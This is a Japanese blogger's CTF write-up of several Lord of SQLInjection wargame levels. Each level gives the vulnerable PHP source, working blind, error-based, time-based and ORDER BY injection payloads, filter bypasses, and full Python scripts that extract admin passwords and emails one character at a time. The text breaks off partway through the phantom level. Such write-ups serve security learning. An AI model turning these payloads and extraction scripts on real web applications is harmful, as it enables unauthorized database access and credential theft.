今までの問題との違いがよくわからないけど、blind injectionでsubstr使ってといたらできないんだろうか?

query:   ?pw=' or id='admin'#
encoded: ?pw=%27%20or%20id%3D%27admin%27%23

このクエリを投げると、無事adminが返ってくる。が、substrを投げると何もヒットしない。ううむ?
記号を増やしただけではびくともしない。もう少し範囲を増やして指定してみるが、255まで行ってもヒットしない。クエリにミスはなさそうだけど…?

ということでこれも結局writeupを見てしまった。なんとパスワードに使われているのがunicodeの範囲らしい。足りなかったわー。unicodeなので文字列比較もhexとかordでやってあげる。
ということで、range(40, 65535)でかけ直してみた。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse
import datetime

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
headers= {'Cookie':'PHPSESSID='+cookie}
candidates = [chr(i) for i in range(48, 65535)]

def attack(attack_sql):
    attack_url = url + '?pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(try_pw):
    print(ord(try_pw[-1]),try_pw)
    attack_sql = "'or id='admin' and ord(substr(pw," + str(len(try_pw)) + ",1))=" + str(ord(try_pw[-1])) + "#"
    return attack(attack_sql)

def check_result(res):
    if "Hello admin" not in res.text:
        return False
    return True

def check_clear(fixed):
    attack_url = url + '?pw=' + fixed
    res = requests.get(attack_url, headers=headers)
    if "Clear!" in res.text:
        return True
    return False

####################
###     main     ###
####################

dt_start = datetime.datetime.now()

fixed = ""
is_clear = False
while not(is_clear):
    for c in candidates:
        try_pw = fixed + str(c)
        res = create_pass_query(try_pw)
        if check_result(res):
            fixed += c
            if check_clear(fixed):
                is_clear = True
            break

print("pw: " + fixed)

dt_end = datetime.datetime.now()
print(dt_start)
print(dt_end)

実行結果

pw: 우왕굳
2020-08-27 10:47:58.099756
2020-08-27 13:07:49.916096

2時間半もかかっとる。せめて一文字目が出るまで見守りたい派なんだけど、一文字目が出るまでにこれ1時間近くかかったのでは。
これはもし競技で出やら嫌だなぁ。いつも「候補文字列足りないのでは」という恐怖に怯えつつやっているので、ノーヒントでunicodeの範囲まで出されると厳しい。今回だと出題者が韓国の方っぽいので、韓国語のレンジに絞ってやるのはアリだったかも知れない。
ということは、unicodeを使ったパスワードを定義するのは、守り的にはかなり有効ってことだな。

dragon

query : select id from prob_dragon where id='guest'# and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

ついにドラゴンまで来た。
予め埋まってるクエリが、なんと id='guest'# ってその後をコメントアウトしてしまっている。困った。
adminのレコードを取ってくればクリア。

#コメントアウトは行末までだから、改行を入れたらなんとかならんかな?

select id from prob_dragon where id='guest'# and pw='%0a or 1#'

これだと、出力は Hello guest から変わらないけど、偶然撮れたレコードの先頭がguestだった可能性があるので

select id from prob_dragon where id='guest'# and pw='%0a or 1 limit 1,1#'

👍

iron_golem

query : select id from prob_iron_golem where id='admin' and pw=''

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

sleep,benchmarkが使えない。adminのパスワードを入手したらクリア。

time based injectionが示唆されているのかな?payloadsのページを見てみるとPolyglot injection (multicontext)という攻撃でsleepbenchmarkが使えるみたい。まぁ今回は使えないんだけども。

これまでと違うとこがもう一つ。今までは何かしらデータが取れていればHello adminみたいな感じで取れたidを表示してくれていたんだけど、今回は無し。かわりに。errorが発生した場合はerrorを表示して終了。
これはやっぱり、結果がわからない時に使う time based injection がやっぱり示唆されている気がする。
構文ミスなんかの時はerrorが表示されるのでわかるけど、DB抜けたけどpwがadminのものそのものじゃなかった、みたいなときには何も表示されないのでわからない。

これはTime-basedじゃなくてError-basedができそう。試しに、大きな値になる数式を突っ込んでみます。

select id from prob_iron_golem where id='admin' and pw=''or exp(1000)#'

DOUBLE value is out of range in 'exp(1000)'

いけそういけそう!
条件式で、あたったらerrorを表示させるようにすれば、

select id from prob_iron_golem where id='admin' and pw=''or if(id='admin' and substr(pw,x,1)='x', exp(1000), 1)#

このクエリでpwを探索できそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
headers= {'Cookie':'PHPSESSID='+cookie}
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]

def attack(attack_sql):
    attack_url = url + '?pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(try_pw):
    query = "'or if(id='admin' and substr(pw," + str(len(try_pw)) + ",1)='" + try_pw[-1] + "', exp(1000), 1)#"
    return query

def check_result(res):
    if 'DOUBLE value is out of range' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fix_pass = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pw = fix_pass + str(c)
        print(try_pw)
        query = create_pass_query(try_pw)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break
        if c == '#':
            is_end = True

print("result: " + fix_pass)

ヨシ╭(๑•̀ㅂ•́)و ̑̑ 

dark_eyes

query : select id from prob_dark_eyes where id='admin' and pw=''

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

今回はcol,if,case,when,sleep,benchmarkが使えない!
さっきまでの流れからすると、error-basedもtime-based attackも厳しい…。

今回は、エラーが発生した場合は内容は表示してくれませんが、exit()が呼ばれるのでblankページに飛ばされます。
なので条件分岐さえ書ければ、さっきと同じerror-based attackは出来るはず。しかしifcase whenも使えない…。
ifnullも使えない…。

i//fとかi/**/fが使えないか試してみる。

query:   pw='or i//f (length(pw)=1,1,exp(1000))#
encoded: pw=%27or+i%2F%2Ff+%28length%28pw%29%3D1%2C1%2Cexp%281000%29%29%23

これで100まで試してみたけどずっとエラーだったのでだめっぽい。

pw='or id='admin' and length(pw)=1

がTrueになる場合だけerrorが発生せず、Falseのときのみ構文エラーが発生するようなクエリを考えてみる。

MySQLでは、a or baがFalseの場合のみ、bもFalseでないか評価しに行くっぽい。ので、bの部分をErrorが発生するようにしておくと、aがFalseだったときのみErrorが発生する。へーへーへー!逆に言うと、aがTrueのときのみErrorが発生しない。

まずはErrorが出ないパターン。この構文自体が間違っていないかの確認。x1にしてある。

pw='or id='admin' and (1=1 or exp(1000))#

この構文だと、orの前の評価が必ず1Trueになるので、Errorが発生しないはず。
...ブランクページは出ませんでした。ヨシ。 次に、orの先でerrorが発生するパターン。

pw='or id='admin' and (1=0 or exp(1000))#

これはorの前がFalseになるので、必ずexp(1000)の評価が走り、Errorが発生、ブランクページが現れます。ヨシ。

と、ここまでは良かったのですが。いざpwを調べる攻撃に使ってみるとうまく動かない。ハテ?

pw='or id='admin' and (substr(pw,x,1)='x' or exp(1000))#

Errorしか発生しない。

他のwriteupを見ると、Error発生条件にunion select 2を投げているものがあった。
カラムは1つしか無いので、エラーが発生する。

pw='or id='admin' and (substr(pw,x,1)='x' or select id union select 2)#

この方式だと、何故かうまく行ったのでこの方式で解く。exp()が使えなかった理由はまだ解明していない…。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
headers= {'Cookie':'PHPSESSID='+cookie}
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]

def attack(attack_sql):
    attack_url = url + '?pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(try_pw):
    #query = "'or id='admin' and (substr(pw," + str(len(try_pw)) + ",1)='" + try_pw[-1] + "' or exp(1000))#"
    query = "'or id='admin' and (substr(pw," + str(len(try_pw)) + ",1)='" + try_pw[-1] + "' or (select id union select 2))#"
    return query

def check_result(res):
    if 'prob_dark_eyes' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fix_pass = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pw = fix_pass + str(c)
        print(try_pw)
        query = create_pass_query(try_pw)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break
        if c == '#':
            is_end = True

print("result: " + fix_pass)

他、select whereの構文も使えるみたい。

?pw='or id='admin' and (select exp(1000) where substr(pw,x,1)='x'#

これも、where句の方の評価が先に走ることを利用している。上記のスクリプトの変更分だけ記載。

def create_pass_query(try_pw):
    query = "'or id='admin' and (select exp(1000) where substr(pw," + str(len(try_pw)) + ",1)='" + try_pw[-1] + "')#"
    return query

def check_result(res):
    if not 'prob_dark_eyes' in res.text:
        return True
    return False

これでも同じく解ける👍

hell_fire

id email score query : select id,email,score from prob_hell_fire where 1 order by

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

おや、出力が増えている。id,email,scoreのtableが出ている。
unionが使えない。指定するのはorderemail
入力したemailがadminのものと一致したらクリア。しかし、クエリで取ってきたemailは、adminの場合***********で置き換えられてしまうので見えない。
試しにorderに1を入れてみた。

id email score
admin ************** 200
rubiya rubiya805@gmail.cm 100

データは出たけどadminのemailは見えない。ちなみにorderに4を入れるとエラーになったので、カラムは3つだけ。
orderを3にしたときだけ順序が入れ替わってrubiyaが上に来る。これが利用できそう。

条件を作成し、trueならorder=id, falseならorder=score になるようにすれば、adminrubiyaのどっちが先に表示されるかでboolean-basedが実現できそう。

select id,email,score from prob_hell_fire where 1 order by if((id='admin' and substr(email,x,1)='x'), id,score)

ブラウザのurlに直打ち込んだ時は、id,scoreで通るが、スクリプト回すと1,3でないと通らなかった。
mail addressなので、_.を使っている可能性を考えると、文字の比較はordでしたほうが良さそう。本当は今までの問題も、候補文字数増やしてordで比較するほうが確実なんだよなぁ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse
from bs4 import BeautifulSoup

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
headers= {'Cookie':'PHPSESSID='+cookie}
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@",".","$","!","?","&","#"]

def attack(attack_sql):
    attack_url = url + '?order=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(try_mail):
    query = "if((id='admin' and ord(substr(email," + str(len(try_mail)) + ",1))='" + str(ord(try_mail[-1])) + "'), 1,3)"
    return query

def check_result(res):
    soup = BeautifulSoup(res.text, 'html.parser')
    table = soup.find('table')
    rows = table.findAll('tr')
    if 'admin' in str(rows[1]):
        return True
    return False

####################
###     main     ###
####################

# find email
fixed = ""
is_end = False
while not is_end:
    for c in candidates:
        try_mail = fixed + str(c)
        print(try_mail)
        query = create_pass_query(try_mail)
        res = attack(query)
        if check_result(res):
            fixed += c
            break
        if c == '#':
            is_end = True

print("result: " + fixed)

evil_wizard

id email score

query : select id,email,score from prob_evil_wizard where 1 order by

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>

今回も id, email, score が表示される。さっきと同じくadminのemailを当てる必要がある。
// same with hell_fire? really?の文言が気になる。もしかしたらカラムかレコードが増えてるのかもしれない。。。

とりあえず、order=1、にしたら admin, rubiyaの順、order=2でも3でも順番が変わらない…!これは困った。さっきの手が使えない。
sleep,benchmarkも使えないので、Time-basedにすり替えることもできなさそう。

他に使えそうな手は...、emailの○文字目とかで並び替えできないかなー?

order=substr(email,3,1)

こんな感じ。
ってやった見たら入れ替わった!emailの3文字目で並び替えると、rubiyaが上になる!!!

select id,email,score from prob_evil_wizard where 1 order by if((id='admin' and substr(email,x,1)='x'), substr(email,1,1),substr(email,3,1))

これで行けるか?
下記のクエリで試してみる。

select id,email,score from prob_evil_wizard where 1 order by if(1=1, substr(email,1,1),substr(email,3,1))

ifの条件式を1=1にしたときと1=0にした時で、順序が変わる!これは行けそう(๑✧∀✧๑)

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse
from bs4 import BeautifulSoup

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
headers= {'Cookie':'PHPSESSID='+cookie}
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@",".","$","!","?","&","#"]

def attack(attack_sql):
    attack_url = url + '?order=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(try_mail):
    query = "if((id='admin' and ord(substr(email," + str(len(try_mail)) + ",1))='" + str(ord(try_mail[-1])) + "'), substr(email,1,1),substr(email,3,1))"
    return query

def check_result(res):
    soup = BeautifulSoup(res.text, 'html.parser')
    table = soup.find('table')
    rows = table.findAll('tr')
    if 'admin' in str(rows[1]):
        return True
    return False

####################
###     main     ###
####################

# find email
fixed = ""
is_end = False
while not is_end:
    for c in candidates:
        try_mail = fixed + str(c)
        print(try_mail)
        query = create_pass_query(try_mail)
        res = attack(query)
        if check_result(res):
            fixed += c
            break
        if c == '#':
            is_end = True

print("result: " + fixed)

1周目で実は hell_fire と evil_wizard はすっきり解けきれてなかったんだけど、2周目に何故かノーヒントで解けてしまった。嬉しい(ˊᗜˋ)/

green_dragon

query : select id,pw from prob_green_dragon where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'] == "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>

DBから取れた結果のidpwにも禁止文字が指定されてる。なんで?...と思ったら、結果のid,resultで、もう一回クエリをかけるらしい。
2度目のクエリで、idの結果にadminが取れたらクリア。
見たことないタイプだ。

クオートが使えないパターンだけど、\は禁止されていないので、これをidの方に突っ込むことで、idの後ろのシングルクォートをエスケープして無効化してしまう作戦は使えそう。

union select を使って、1つ目のクエリ結果のid,pwに好きな文字を入れ、query2を完成させる。
query2から考えよう。
query2の結果、adminのレコードが取れればクリア。
query1にもquery2にもクォートが使えないので、文字列はhexで表現する。

select id from prob_green_dragon where id='\' and pw='union select 0x61646d696e#'

これをquery2に突っ込むために、query1は

select id,pw from prob_green_dragon where id='\' and pw='union select 0x5c,union select 0x61646d696e##'

ここで、union select 0x61646d696e#は文字列として認識してほしいので、更にこれをhexに直す。最終的にurlのクエリに入れるのは

?id=%5c&pw=union select 0x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23

🙌

red dragon

query : select id from prob_red_dragon where id='' and no=1

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7) exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");
  highlight_file(__FILE__);
?>

adminのnoを取得できればOK。
今回はidは7文字以下、noは数値でない場合は1にされてしまう。
何かレコードが取れたら、idを表示してくれる。
noにも制約があるってことは、noに入れる数値も活かす感じになるんだろうか。

where id='admin' and no={no}

{no}ブルートフォースすれば出てきそうだけど、多分大きな数が設定されてるんだろうなー。(50000までくらいやってみたけど出なかった)

noに数値を入れつつ、pwで設定した式を活かしたいので、こんな感じ

select id from prob_red_dragon where id=''hogehoge()#' and no=%0a{num}

hogehoge()は5文字以下の何か、no=は改行+数値を入れることで数値だけ活かすことができそう。
5文字以下で数値を扱う条件を入れようとすると、

?id='||no>%23&no=%0a10000

こんな感じ。
試しに入れると、Hello adminが表示された。次に、条件がFalseになるようにめちゃくちゃ大きな値を入れてみると

?id=%27||no>%23&no=%0a1000000000000

Hello admin出ず!これは刺さったっぽいぞ🙌
これを使えば、noの二分探索ができそう。手作業で桁まで絞っておいて

100000000 < no < 1000000000

が判明したので、これ以降はスクリプトで。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(no):
    attack_url = url + '?id=%27||no>%23&no=%0a' + str(no)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def check_result(res):
    if 'Hello admin' in res.text:
        return True
    return False

####################
###     main     ###
####################

max_no = 1000000000
min_no = 100000000

while (max_no - min_no) > 1:
    mid = (max_no + min_no)//2
    print(mid)
    res = attack(mid)
    if check_result(res):
        min_no = mid
    else:
        max_no = mid

print("result: " + str(mid))

誤差1の範囲で求まるので、出た答えの近傍をnoに入れて送るとクリア。

blue_dragon

query : select id from prob_blue_dragon where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>

select id from prob_blue_dragon where id='{$GET[id]}' and pw='{$GET[pw]}'

adminのpwがわかればクリア。
何故か入力チェックが二段階に分かれていて、最初のチェックは緩め、2段めのチェックはクォートやエスケープが使えなくて厳しい。
2個目のチェックを通れば、クエリ結果のidを出力してくれるらしい。けど、クォートもバックスラも使えないのは厳しい...。

1個目のクエリではクォートもバックスラもチェックされずに走るので、結果の表示が必要ないTime-based injectionが使えそう。

select id from prob_blue_dragon where id='\' and pw='or sleep(3)#'

このクエリになるように送ると、しっかり3秒sleepしたあとにNo Hack ~_~が返ってきました。行けそう!

select id from prob_blue_dragon where id='\' and pw='or if(substr(pw,x,1)='x',sleep(3),1)#'

こんな感じでクエリを組み立てます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse
import time

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
headers= {'Cookie':'PHPSESSID='+cookie}
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]

def attack(attack_sql):
    attack_url = url + '?id=%5c&pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    start = time.time()
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return time.time() - start

def create_pass_query(try_pw):
    query = "or if(id='admin' and substr(pw," + str(len(try_pw)) + ",1)='" + try_pw[-1] + "',sleep(3),1)#"
    return query

def check_result(t):
    if t > 3:
        return True
    return False

####################
###     main     ###
####################

# find pw
fix_pass = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pw = fix_pass + str(c)
        print(try_pw)
        query = create_pass_query(try_pw)
        t = attack(query)
        if check_result(t):
            fix_pass += c
            break
        if c == '#':
            is_end = True

print("result: " + fix_pass)

その後落ちるとしても、クエリが走るかどうかはTime-based injectionができるかどうかの大きなポイント。

frankenstein

query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>

unionと(,)が使えない。
抽出するカラムが2つあるので、adminのpwがわかればクリア。
クエリ中にerrorが発生したときは、errorを吐いて終了してくれる。
error-based injectionができそう。

()が使えないので、ifの代わりにcase whenを、substrの代わりにlikeを使って組み立ててみる。
errorを発生させる、union()も使わない方法は、とりあえず大きな数を計算させる。

select id,pw from prob_frankenstein where id='frankenstein' and pw=''or id='admin' and case when pw like 'x%' then 1 else 100000000000000000*1000000000000000 end#'

こんな適当なクエリでいけるじゃろうか。
先ずは 100000000000000000*1000000000000000 でエラーが発生するかテストしてみる。

select id,pw from prob_frankenstein where id='frankenstein' and pw='' or 100000000000000000*1000000000000000#'

よっしゃ、errorになった。
絶対Trueになるように、like '%'でやってみるとerrorは発生しなかったので、これで行けそう👍

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
headers= {'Cookie':'PHPSESSID='+cookie}
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]

def attack(attack_sql):
    attack_url = url + '?pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(try_pw):
    query = "'or id='admin' and case when pw like '" + try_pw + "%' then 1 else 100000000000000000*1000000000000000 end#"
    return query

def check_result(res):
    if 'addslashes' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fix_pass = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pw = fix_pass + str(c)
        print(try_pw)
        query = create_pass_query(try_pw)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break
        if c == '#':
            is_end = True

print("result: " + fix_pass)

phantom

ip   email
127.0.0.1   **************
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("phantom");

  if($_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }
  echo "</table>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
  highlight_file(__FILE__);
?>

joinmailにはduplicateが使えない。

レコード追加のクエリは

insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')

となっており、

id = 0
ip = 自分のIPアドレス

が固定で入ってしまう。

ヒントにduplicateがあるっぽいので、どういった事ができるのか確認してみる。

MySQL: INSERT...ON DUPLICATE KEY UPDATEまとめ - Qiita

わかりやすい記事が。もしnoがuniqueだった場合、

insert into prob_phantom(no,ip) values(1,'127.0.0.1') on duplicate key update ip=MY_IP_ADRESS;

とすると、no=1のレコードのipが自分のに書き換えられそう。でもこれをやってもemailは結局フィルタされてしまうし、noはそもそもUNIQUEではない。ipもemailもuniqueではなさそう。そして、そもそもduplicateが使えない。

こんな感じでno=1のレコードから値をコピーしたり、noを書き換えられたりしたら良さそう。

似たやつで、

insert into ips(email) select ips.email from ips where ips.no=1;

みたいにすると、emailだけ抜いたレコードを追加できる。下記はlocalで試したやつ。

mysql> insert into ips(email) select ips.email from ips where ips.no=1;
Query OK, 1 row affected (0.00 sec)
Records: 1  Duplicates: 0  Warnings: 0

mysql> select * from ips;
+------+-------------+-------------------+
| no   | ip          | email             |
+------+-------------+-------------------+
|    1 | 127.0.0.1   | admin@example.com |
| NULL | NULL        | admin@example.com |
+------+-------------+-------------------+
2 rows in set (0.00 sec)

これだとnoの条件にもipの条件にも引っかからないので表示してくれないけど。
あとはUPDATEを使うとか。

update ips set no=0;
mysql> update ips set no=0;
Query OK, 2 rows affected (0.00 sec)
Rows matched: 2  Changed: 2  Warnings: 0

mysql> select * from ips;
+------+-------------+-------------------+
| no   | ip          | email             |
+------+-------------+-------------------+
|    0 | 127.0.0.1   | admin@example.com |
|    0 | NULL        | admin@example.com |
